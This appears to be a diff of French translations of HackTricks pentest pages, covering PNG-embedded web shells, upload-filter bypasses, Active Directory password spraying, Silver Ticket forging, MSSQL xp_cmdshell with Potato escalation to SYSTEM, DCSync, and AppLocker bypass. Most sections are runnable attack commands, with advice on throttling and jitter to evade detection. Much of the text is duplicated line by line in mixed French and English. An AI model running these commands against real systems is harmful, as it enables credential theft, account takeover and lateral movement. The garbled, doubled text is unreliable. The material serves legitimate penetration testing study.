L'insertion d'un PHP shell dans le chunk IDAT d'un fichier PNG peut efficacement contourner certaines opérations de traitement d'image. Les fonctions `imagecopyresized` et `imagecopyresampled` de PHP-GD sont particulièrement pertinentes dans ce contexte, car elles sont couramment utilisées pour redimensionner et rééchantillonner les images, respectivement. Le fait que le PHP shell incorporé reste inchangé par ces opérations est un avantage important pour certains cas d'utilisation.
Un examen détaillé de cette technique, incluant sa méthodologie et ses applications potentielles, est présenté dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension complète du procédé et de ses implications.
Une exploration détaillée de cette technique, incluant sa méthodologie et ses applications potentielles, est fournie dans l'article suivant : ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Cette ressource offre une compréhension complète du processus et de ses implications.
Plus d'informations : [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Fichiers polyglottes
## Polyglot Files
Les fichiers polyglottes sont un outil particulier en cybersécurité, agissant comme des caméléons pouvant valablement exister dans plusieurs formats de fichier simultanément. Un exemple intéressant est un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et comme une archive RAR. Ces fichiers ne se limitent pas à ce couplage ; des combinaisons comme GIF et JS ou PPT et JS sont également possibles.
Les polyglot files servent d'outil unique en cybersécurité, agissant comme des caméléons qui peuvent exister valablement dans plusieurs formats de fichiers simultanément. Un exemple intrigant est un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un hybride qui fonctionne à la fois comme un GIF et comme une archive RAR. De tels fichiers ne se limitent pas à cette combinaison ; des associations comme GIF et JS ou PPT et JS sont aussi réalisables.
L'utilité principale des fichiers polyglottes réside dans leur capacité à contourner les mécanismes de sécurité qui filtrent les fichiers en fonction de leur type. Il est courant dans de nombreuses applications d'autoriser uniquement certains types de fichiers pour l'upload — comme JPEG, GIF ou DOC — afin de réduire le risque posé par des formats potentiellement dangereux (p. ex. JS, PHP ou Phar). Toutefois, un polyglotte, en respectant les critères structurels de plusieurs types de fichiers, peut discrètement contourner ces restrictions.
L'utilité principale des polyglot files réside dans leur capacité à contourner des mesures de sécurité qui filtrent les fichiers en fonction du type. La pratique courante dans diverses applications consiste à n'autoriser que certains types de fichiers pour l'upload — comme JPEG, GIF ou DOC — afin de réduire le risque posé par des formats potentiellement dangereux (par ex. JS, PHP ou Phar). Cependant, un polyglot, en respectant les critères structurels de plusieurs types de fichiers, peut contourner discrètement ces restrictions.
Malgré leur adaptabilité, les polyglottes rencontrent des limites. Par exemple, bien qu'un polyglotte puisse représenter simultanément un fichier PHAR (PHp ARchive) et un JPEG, la réussite de son upload peut dépendre de la politique d'extensions de la plateforme. Si le système est strict quant aux extensions autorisées, la simple dualité structurelle d'un polyglotte peut ne pas suffire à garantir son upload.
Malgré leur adaptabilité, les polyglots rencontrent des limitations. Par exemple, alors qu'un polyglot peut simultanément représenter un fichier PHAR (PHp ARchive) et un JPEG, le succès de son upload peut dépendre de la politique d'extensions du système. Si la plateforme est stricte sur les extensions autorisées, la simple dualité structurelle d'un polyglot peut ne pas suffire pour garantir son upload.
Plus d'informations : [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
### Uploader des JSON valides comme si c'était un PDF
### Upload valid JSONs like if it was PDF
Comment éviter la détection du type de fichier en uploadant un fichier JSON valide même si ce n'est pas autorisé, en le faisant passer pour un fichier PDF (techniques tirées de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**) :
Comment éviter les détections de type de fichier en uploadant un fichier JSON valide même si ce n'est pas autorisé en le faisant passer pour un PDF (techniques tirées de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**) :
- **`mmmagic` library** : Tant que les octets magiques `%PDF` se trouvent dans les 1024 premiers octets, c'est valide (voir exemple dans l'article)
- **`pdflib` library** : Ajouter un faux format PDF à l'intérieur d'un champ du JSON pour que la bibliothèque considère que c'est un pdf (voir exemple dans l'article)
- **`file` binary** : Il peut lire jusqu'à 1048576 octets d'un fichier. Il suffit de créer un JSON plus grand que cela pour qu'il ne puisse pas parser le contenu comme du JSON, puis placer à l'intérieur du JSON la première partie d'un vrai PDF et il pensera que c'est un PDF
- **`mmmagic` library** : Tant que les octets magiques `%PDF` se trouvent dans les 1024 premiers octets, c’est considéré comme valide (voir exemple dans le post)
- **`pdflib` library** : Ajouter un faux format PDF à l'intérieur d'un champ du JSON pour que la library pense que c'est un pdf (voir exemple dans le post)
- **`file` binary** : Il peut lire jusqu'à 1048576 octets d'un fichier. Il suffit de créer un JSON plus grand que ça pour qu'il ne puisse pas parser le contenu comme du json et ensuite, à l'intérieur du JSON, placer la partie initiale d'un vrai PDF et il le considérera comme un PDF
## Références

4
src/windows-hardening/active-directory-methodology/kerberos-authentication.md
View File

@ -1,7 +1,7 @@
# Authentification Kerberos
# Kerberos Authentification
{{#include ../../banners/hacktricks-training.md}}
**Consultez cet excellent article :** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
**Consultez l'excellent article :** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
{{#include ../../banners/hacktricks-training.md}}

64
src/windows-hardening/active-directory-methodology/password-spraying.md
View File

@ -5,16 +5,16 @@
## **Password Spraying**
Une fois que vous avez trouvé plusieurs **noms d'utilisateur valides** vous pouvez essayer les **mots de passe les plus courants** (gardez à l'esprit la politique de mot de passe de l'environnement) avec chacun des utilisateurs découverts.\
Par **défaut** la **longueur minimale** du **mot de passe** est **7**.
Une fois que vous avez trouvé plusieurs **valid usernames** vous pouvez essayer les **common passwords** (gardez à l'esprit la password policy de l'environnement) avec chacun des users découverts.\
Par **default** la **minimum** **password** **length** est **7**.
Des listes de noms d'utilisateur courants peuvent aussi être utiles : [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Des listes de common usernames peuvent aussi être utiles : [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
Remarquez que vous **pourriez verrouiller certains comptes si vous essayez plusieurs mots de passe incorrects** (par défaut plus de 10).
Notez que vous **could lockout some accounts if you try several wrong passwords** (by default more than 10).
### Obtenir la politique de mot de passe
### Obtenir la password policy
Si vous avez des identifiants utilisateur ou un shell en tant qu'utilisateur de domaine vous pouvez **obtenir la politique de mot de passe avec**:
Si vous avez des user credentials ou un shell en tant que domain user, vous pouvez **get the password policy with**:
```bash
# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
@ -31,27 +31,27 @@ net accounts
(Get-DomainPolicy)."SystemAccess" #From powerview
```
### Exploitation depuis Linux (ou depuis n'importe quel OS)
### Exploitation depuis Linux (ou toute autre plateforme)
- En utilisant **crackmapexec:**
- Utilisation de **crackmapexec :**
```bash
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
```
- Utilisation de [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
- Utiliser [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
```bash
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
```
- [**spray**](https://github.com/Greenwolf/Spray) _**(vous pouvez indiquer le nombre de tentatives pour éviter les verrouillages de comptes):**_
- [**spray**](https://github.com/Greenwolf/Spray) _**(vous pouvez indiquer le nombre de tentatives pour éviter les lockouts):**_
```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
```
- Utiliser [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - PAS RECOMMANDÉ — PARFOIS NE FONCTIONNE PAS
- Utiliser [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NON RECOMMANDÉ, PARFOIS NE FONCTIONNE PAS
```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@ -69,7 +69,7 @@ done
```
#### Depuis Windows
- Avec [Rubeus](https://github.com/Zer1t0/Rubeus) (version avec le module 'brute'):
- Avec [Rubeus](https://github.com/Zer1t0/Rubeus) version avec le module brute:
```bash
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,7 +77,7 @@ done
# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```
- Avec [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Il peut, par défaut, générer des utilisateurs depuis le domaine et récupérer la politique de mot de passe du domaine pour limiter les tentatives en conséquence) :
- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Par défaut, il peut générer les utilisateurs du domaine, récupérer la politique de mot de passe depuis le domaine et limiter les tentatives en conséquence):
```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
```
@ -87,10 +87,10 @@ Invoke-SprayEmptyPassword
```
### Identifier et prendre le contrôle des comptes "Password must change at next logon" (SAMR)
Une technique discrète consiste à essayer un mot de passe bénin/vide et à détecter les comptes renvoyant STATUS_PASSWORD_MUST_CHANGE, ce qui indique que le mot de passe a été expiré de force et peut être changé sans connaître l'ancien.
Une technique peu bruyante consiste à tester un mot de passe bénin/vide et à détecter les comptes renvoyant STATUS_PASSWORD_MUST_CHANGE, ce qui indique que le mot de passe a été expiré de force et peut être changé sans connaître l'ancien.
Flux de travail :
- Énumérer les utilisateurs (RID brute via SAMR) pour constituer la liste cible :
Workflow:
- Énumérer les utilisateurs (force brute des RID via SAMR) pour constituer la liste des cibles :
{{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@ -99,12 +99,12 @@ Flux de travail :
# NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
```
- Spray un password vide et continuez sur les hits pour capturer les comptes qui doivent changer au prochain logon:
- Spray un mot de passe vide et continuez sur les hits pour capturer les comptes qui doivent changer au prochain logon:
```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
```
- Pour chaque hit, changez le password via SAMR avec NetExec’s module (aucun ancien password nécessaire lorsque "must change" est défini) :
- Pour chaque hit, changez le mot de passe via SAMR avec le module de NetExec (aucun ancien mot de passe requis lorsque "must change" est activé) :
```bash
# Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \
@ -113,9 +113,9 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
# Validate and retrieve domain password policy with the new creds
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
```
Notes opérationnelles:
Notes opérationnelles :
- Assurez-vous que l'horloge de votre hôte est synchronisée avec le DC avant les opérations basées sur Kerberos : `sudo ntpdate <dc_fqdn>`.
- Un [+] sans (Pwn3d!) dans certains modules (par ex., RDP/WinRM) signifie que les creds sont valides mais que le compte n'a pas les droits de connexion interactive.
- Un [+] sans (Pwn3d!) dans certains modules (par ex., RDP/WinRM) signifie que les creds sont valides mais que le compte n'a pas les droits d'ouverture de session interactifs.
## Brute Force
```bash
@ -123,14 +123,14 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
```
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-auth–based spraying réduit le bruit par rapport aux tentatives de bind SMB/NTLM/LDAP et s'aligne mieux avec les politiques de verrouillage d'AD. SpearSpray couple LDAP-driven targeting, un moteur de patterns, et une prise en compte des policies (domain policy + PSOs + tampon badPwdCount) pour effectuer du spraying de manière précise et sûre. Il peut aussi tagger les principals compromis dans Neo4j pour le pathing BloodHound.
Le Kerberos pre-auth–based spraying réduit le bruit par rapport aux tentatives de bind SMB/NTLM/LDAP et s'aligne mieux sur les politiques de verrouillage AD. SpearSpray combine LDAP-driven targeting, un pattern engine et une connaissance des politiques (politique de domaine + PSOs + buffer badPwdCount) pour effectuer le spray de manière précise et sûre. Il peut aussi taguer les principaux compromis dans Neo4j pour le pathing BloodHound.
Key ideas:
- Découverte d'utilisateurs LDAP avec pagination et support LDAPS, optionnellement en utilisant des filtres LDAP personnalisés.
- Politique de verrouillage de domaine + filtrage aware des PSO pour laisser une marge d'essais configurable (threshold) et éviter de verrouiller les utilisateurs.
- Découverte d'utilisateurs LDAP avec pagination et prise en charge de LDAPS, optionnellement en utilisant des filtres LDAP personnalisés.
- Filtrage prenant en compte la politique de verrouillage du domaine et les PSOs afin de laisser un tampon de tentatives configurable (seuil) et d'éviter de verrouiller les utilisateurs.
- Validation Kerberos pre-auth utilisant des bindings gssapi rapides (génère 4768/4771 sur les DCs au lieu de 4625).
- Génération de mots de passe par pattern, par utilisateur, en utilisant des variables comme les noms et des valeurs temporelles dérivées du pwdLastSet de chaque utilisateur.
- Contrôle du débit avec threads, jitter, et max requests per second.
- Génération de mots de passe basée sur des patterns, par utilisateur, utilisant des variables comme les noms et des valeurs temporelles dérivées du pwdLastSet de chaque utilisateur.
- Contrôle du débit avec threads, jitter et nombre maximal de requêtes par seconde.
- Intégration Neo4j optionnelle pour marquer les utilisateurs compromis pour BloodHound.
Basic usage and discovery:
@ -144,7 +144,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
```
Ciblage et contrôle des schémas:
Ciblage et contrôle des motifs:
```bash
# Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
@ -165,7 +165,7 @@ Neo4j/BloodHound enrichissement:
```bash
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
```
Aperçu du système de patterns (patterns.txt):
Vue d'ensemble du système de patterns (patterns.txt):
```text
# Example templates consuming per-user attributes and temporal context
{name}{separator}{year}{suffix}
@ -180,11 +180,11 @@ Available variables include:
- Composition helpers and org token: {separator}, {suffix}, {extra}
Operational notes:
- Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
- badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
- Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
- Privilégiez l'interrogation du PDC-emulator avec -dc pour lire le badPwdCount le plus autoritatif et les informations liées aux policies.
- Les resets de badPwdCount sont déclenchés au prochain essai après la fenêtre d'observation ; utilisez un seuil et un timing pour rester prudent.
- Les tentatives de pré-auth Kerberos apparaissent comme 4768/4771 dans la télémétrie DC ; utilisez du jitter et de la limitation de débit pour vous fondre.
> Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
> Astuce : la taille de page LDAP par défaut de SpearSpray est 200 ; ajustez avec -lps si nécessaire.
## Outlook Web Access
@ -196,7 +196,7 @@ Il existe plusieurs outils pour p**assword spraying outlook**.
- Avec [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- Avec [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Pour utiliser n'importe lequel de ces outils, vous avez besoin d'une liste d'utilisateurs et d'un mot de passe / d'une petite liste de mots de passe pour le password spraying.
Pour utiliser l'un de ces outils, vous avez besoin d'une liste d'utilisateurs et d'un password / d'une petite liste de passwords à spray.
```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020

58
src/windows-hardening/active-directory-methodology/silver-ticket.md
View File

@ -6,21 +6,21 @@
## Silver ticket
L'attaque **Silver Ticket** implique l'exploitation des service tickets dans les environnements Active Directory (AD). Cette méthode repose sur l'**obtention du NTLM hash d'un service account**, comme un compte d'ordinateur, pour forger un Ticket Granting Service (TGS) ticket. Avec ce ticket forgé, un attaquant peut accéder à des services spécifiques sur le réseau, **usurpant l'identité de n'importe quel utilisateur**, visant généralement des privilèges administratifs. Il est souligné que l'utilisation de AES keys pour forger des tickets est plus sûre et moins détectable.
The **Silver Ticket** attack involves the exploitation of service tickets in Active Directory (AD) environments. This method relies on **acquérir le hash NTLM d'un compte de service**, such as a computer account, to forge a Ticket Granting Service (TGS) ticket. With this forged ticket, an attacker can access specific services on the network, **usurpant l'identité de n'importe quel utilisateur**, typically aiming for administrative privileges. Il est souligné que l'utilisation de clés AES pour forger des tickets est plus sûre et moins détectable.
> [!WARNING]
> Silver Tickets are less detectable than Golden Tickets because they only require the **hash of the service account**, not the krbtgt account. However, they are limited to the specific service they target. Moreover, just stealing the password of a user.
> Moreover, if you compromise an **account's password with a SPN** you can use that password to create a Silver Ticket impersonating any user to that service.
> Les Silver Tickets sont moins détectables que les Golden Tickets car ils ne nécessitent que le **hash du compte de service**, et non le compte krbtgt. Cependant, ils sont limités au service spécifique qu'ils ciblent. De plus, il suffit de voler le mot de passe d'un utilisateur.
> De plus, si vous compromettez le **mot de passe d'un compte avec un SPN** vous pouvez utiliser ce mot de passe pour créer un Silver Ticket usurpant l'identité de n'importe quel utilisateur auprès de ce service.
Pour la fabrication de tickets, différents outils sont utilisés selon le système d'exploitation :
Pour la création des tickets, différents outils sont employés selon le système d'exploitation:
### Sur Linux
### On Linux
```bash
python ticketer.py -nthash <HASH> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE_PRINCIPAL_NAME> <USER>
export KRB5CCNAME=/root/impacket-examples/<TICKET_NAME>.ccache
python psexec.py <DOMAIN>/<USER>@<TARGET> -k -no-pass
```
### Sous Windows
### Sur Windows
```bash
# Using Rubeus
## /ldap option is used to get domain data automatically
@ -37,11 +37,11 @@ mimikatz.exe "kerberos::ptt <TICKET_FILE>"
# Obtain a shell
.\PsExec.exe -accepteula \\<TARGET> cmd
```
Le service CIFS est mis en évidence comme une cible courante pour accéder au système de fichiers de la victime, mais d'autres services comme HOST et RPCSS peuvent aussi être exploités pour des tâches et des requêtes WMI.
Le service CIFS est mis en avant comme une cible courante pour accéder au système de fichiers de la victime, mais d'autres services comme HOST et RPCSS peuvent aussi être exploités pour des tâches et des requêtes WMI.
### Exemple : MSSQL service (MSSQLSvc) + Potato to SYSTEM
Si vous avez le NTLM hash (ou l'AES key) d'un compte de service SQL (par ex. sqlsvc), vous pouvez forger un TGS pour le MSSQL SPN et impersonate n'importe quel utilisateur auprès du service SQL. Ensuite, activez xp_cmdshell pour exécuter des commandes en tant que le compte de service SQL. Si ce token possède SeImpersonatePrivilege, enchaînez un Potato pour élever au niveau SYSTEM.
Si vous avez le NTLM hash (or AES key) d'un SQL service account (e.g., sqlsvc) vous pouvez forger un TGS pour le MSSQL SPN et impersonate n'importe quel utilisateur auprès du SQL service. De là, enable xp_cmdshell pour exécuter des commandes en tant que le SQL service account. Si ce token a SeImpersonatePrivilege, enchaînez un Potato pour élever au SYSTEM.
```bash
# Forge a silver ticket for MSSQLSvc (RC4/NTLM example)
python ticketer.py -nthash <SQLSVC_RC4> -domain-sid <DOMAIN_SID> -domain <DOMAIN> \
@ -52,7 +52,7 @@ export KRB5CCNAME=$PWD/administrator.ccache
impacket-mssqlclient -k -no-pass <DOMAIN>/administrator@<host.fqdn>:1433 \
-q "EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;EXEC xp_cmdshell 'whoami'"
```
- Si le contexte résultant possède SeImpersonatePrivilege (souvent vrai pour les comptes de service), utilisez une variante de Potato pour obtenir SYSTEM :
- Si le contexte résultant dispose de SeImpersonatePrivilege (souvent vrai pour les comptes de service), utilisez une variante Potato pour obtenir SYSTEM:
```bash
# On the target host (via xp_cmdshell or interactive), run e.g. PrintSpoofer/GodPotato
PrintSpoofer.exe -c "cmd /c whoami"
@ -65,7 +65,7 @@ Plus de détails sur l'abus de MSSQL et l'activation de xp_cmdshell:
abusing-ad-mssql.md
{{#endref}}
Aperçu des Potato techniques:
Potato techniques overview:
{{#ref}}
../windows-local-privilege-escalation/roguepotato-and-printspoofer.md
@ -73,45 +73,44 @@ Aperçu des Potato techniques:
## Services disponibles
| Type de service | Service Silver Tickets |
| Service Type | Service Silver Tickets |
| ------------------------------------------ | -------------------------------------------------------------------------- |
| WMI | <p>HOST</p><p>RPCSS</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Depending on OS also:</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>In some occasions you can just ask for: WINRM</p> |
| PowerShell Remoting | <p>HOST</p><p>HTTP</p><p>Selon l'OS également :</p><p>WSMAN</p><p>RPCSS</p> |
| WinRM | <p>HOST</p><p>HTTP</p><p>Dans certains cas, vous pouvez simplement demander : WINRM</p> |
| Scheduled Tasks | HOST |
| Windows File Share, also psexec | CIFS |
| LDAP operations, included DCSync | LDAP |
| Windows Remote Server Administration Tools | <p>RPCSS</p><p>LDAP</p><p>CIFS</p> |
| Golden Tickets | krbtgt |
En utilisant **Rubeus** vous pouvez **demander tous** ces tickets en utilisant le paramètre :
Using **Rubeus** you may **ask for all** these tickets using the parameter:
- `/altservice:host,RPCSS,http,wsman,cifs,ldap,krbtgt,winrm`
### Event IDs des Silver tickets
### IDs d'événements Silver tickets
- 4624: Connexion de compte
- 4634: Déconnexion de compte
- 4672: Connexion administrateur
- 4624: Account Logon
- 4634: Account Logoff
- 4672: Admin Logon
## Persistance
Pour éviter que les machines ne fassent pivoter leur mot de passe tous les 30 jours, définissez `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ou vous pouvez définir `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` sur une valeur supérieure à 30 jours pour indiquer la période de rotation à laquelle le mot de passe de la machine doit être changé.
Pour éviter que les machines ne renouvellent leur mot de passe tous les 30 jours, définissez `HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\DisablePasswordChange = 1` ou vous pouvez définir `HKLM\SYSTEM\CurrentControlSet\Services\NetLogon\Parameters\MaximumPasswordAge` sur une valeur supérieure à 30days pour indiquer la période de rotation lorsque le mot de passe de la machine doit être renouvelé.
## Abuser des tickets de service
## Abuser des Service tickets
Dans les exemples suivants, imaginons que le ticket a été récupéré en usurpant le compte administrateur.
### CIFS
Avec ce ticket vous pourrez accéder aux dossiers `C$` et `ADMIN$` via **SMB** (s'ils sont exposés) et copier des fichiers vers une partie du système de fichiers distant en faisant simplement quelque chose comme :
Avec ce ticket, vous pourrez accéder aux dossiers `C$` et `ADMIN$` via **SMB** (s'ils sont exposés) et copier des fichiers vers une partie du système de fichiers distant en faisant simplement quelque chose comme :
```bash
dir \\vulnerable.computer\C$
dir \\vulnerable.computer\ADMIN$
copy afile.txt \\vulnerable.computer\C$\Windows\Temp
```
Vous pourrez également obtenir un shell à l'intérieur de l'hôte ou exécuter des commandes arbitraires en utilisant **psexec**:
Vous pourrez également obtenir un shell sur l'hôte ou exécuter des commandes arbitraires en utilisant **psexec** :
{{#ref}}
../lateral-movement/psexec-and-winexec.md
@ -133,7 +132,7 @@ schtasks /Run /S mcorp-dc.moneycorp.local /TN "SomeTaskName"
```
### HOST + RPCSS
Avec ces tickets, vous pouvez **exécuter WMI sur le système victime** :
Avec ces tickets, vous pouvez **exécuter WMI sur le système de la victime**:
```bash
#Check you have enough privileges
Invoke-WmiMethod -class win32_operatingsystem -ComputerName remote.computer.local
@ -143,20 +142,17 @@ Invoke-WmiMethod win32_process -ComputerName $Computer -name create -argumentlis
#You can also use wmic
wmic remote.computer.local list full /format:list
```
Consultez **plus d'informations sur wmiexec** dans la page suivante :
{{#ref}}
../lateral-movement/wmiexec.md
{{#endref}}
### Hôte + WSMAN (WINRM)
### HÔTE + WSMAN (WINRM)
Avec un accès winrm à un ordinateur, vous pouvez **y accéder** et même obtenir un PowerShell:
```bash
New-PSSession -Name PSC -ComputerName the.computer.name; Enter-PSSession PSC
```
Consultez la page suivante pour apprendre **d'autres façons de se connecter à un hôte distant en utilisant winrm**:
Check the following page to learn **d'autres façons de se connecter à un hôte distant en utilisant winrm**:
{{#ref}}
@ -168,11 +164,11 @@ Consultez la page suivante pour apprendre **d'autres façons de se connecter à
### LDAP
Avec ce privilège, vous pouvez dump la base de données du DC en utilisant **DCSync**:
Avec ce privilège, vous pouvez extraire la base de données du DC en utilisant **DCSync**:
```
mimikatz(commandline) # lsadump::dcsync /dc:pcdc.domain.local /domain:domain.local /user:krbtgt
```
**En savoir plus sur DCSync** sur la page suivante :
**En savoir plus sur DCSync** dans la page suivante :
{{#ref}}

136
src/windows-hardening/authentication-credentials-uac-and-efs/README.md
View File

@ -4,14 +4,14 @@
## Politique AppLocker
Une whitelist d'applications est une liste d'applications logicielles ou d'exécutables approuvés qui sont autorisés à être présents et exécutés sur un système. L'objectif est de protéger l'environnement contre les malware nuisibles et les logiciels non approuvés qui ne correspondent pas aux besoins métier spécifiques d'une organisation.
Une liste blanche d'applications est une liste de logiciels ou d'exécutables approuvés autorisés à être présents et exécutés sur un système. L'objectif est de protéger l'environnement contre les logiciels malveillants et les logiciels non approuvés qui ne correspondent pas aux besoins métier spécifiques d'une organisation.
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) est la **solution de whitelisting d'applications** de Microsoft et donne aux administrateurs système le contrôle sur **quelles applications et quels fichiers les utilisateurs peuvent exécuter**. Il fournit un **contrôle granulaire** sur les exécutables, scripts, fichiers d'installation Windows, DLLs, packaged apps, et packed app installers.\
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) est la solution Microsoft pour la mise en liste blanche d'applications et donne aux administrateurs système le contrôle sur **quelles applications et quels fichiers les utilisateurs peuvent exécuter**. Il fournit un **contrôle granulaire** sur les exécutables, scripts, Windows installer files, DLLs, packaged apps, and packed app installers.
Il est courant que les organisations **bloquent cmd.exe et PowerShell.exe** et l'accès en écriture à certains répertoires, **mais tout cela peut être contourné**.
### Vérification
Vérifiez quels fichiers/extensions sont blacklisted/whitelisted:
Vérifier quels fichiers/extensions sont sur liste noire/liste blanche :
```bash
Get-ApplockerPolicy -Effective -xml
@ -20,43 +20,43 @@ Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
$a = Get-ApplockerPolicy -effective
$a.rulecollections
```
Ce chemin de registre contient les configurations et les politiques appliquées par AppLocker, fournissant un moyen d'examiner l'ensemble actuel des règles appliquées sur le système :
Ce chemin du registre contient les configurations et les politiques appliquées par AppLocker, offrant un moyen de vérifier l'ensemble des règles actuellement appliquées sur le système :
- `HKLM\Software\Policies\Microsoft\Windows\SrpV2`
### Bypass
- Utile **Writable folders** to bypass AppLocker Policy : si AppLocker permet d'exécuter n'importe quoi dans `C:\Windows\System32` ou `C:\Windows`, il existe des **writable folders** que vous pouvez utiliser pour **bypass this**.
- Utiles **Writable folders** pour bypass AppLocker Policy : si AppLocker permet d'exécuter n'importe quoi dans `C:\Windows\System32` ou `C:\Windows`, il existe des **Writable folders** que vous pouvez utiliser pour **bypass this**.
```
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
```
- Des binaires [**"LOLBAS's"**](https://lolbas-project.github.io/) souvent **fiables** peuvent aussi être utiles pour contourner AppLocker.
- **Des règles mal écrites peuvent aussi être contournées**
- Des binaires [**"LOLBAS's"**](https://lolbas-project.github.io/) couramment **de confiance** peuvent également être utiles pour contourner AppLocker.
- **Des règles mal rédigées peuvent aussi être contournées**
- Par exemple, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, vous pouvez créer un **dossier appelé `allowed`** n'importe où et il sera autorisé.
- Les organisations se concentrent souvent sur **le blocage de l'exécutable `%System32%\WindowsPowerShell\v1.0\powershell.exe`**, mais oublient les **autres** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) tels que `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` ou `PowerShell_ISE.exe`.
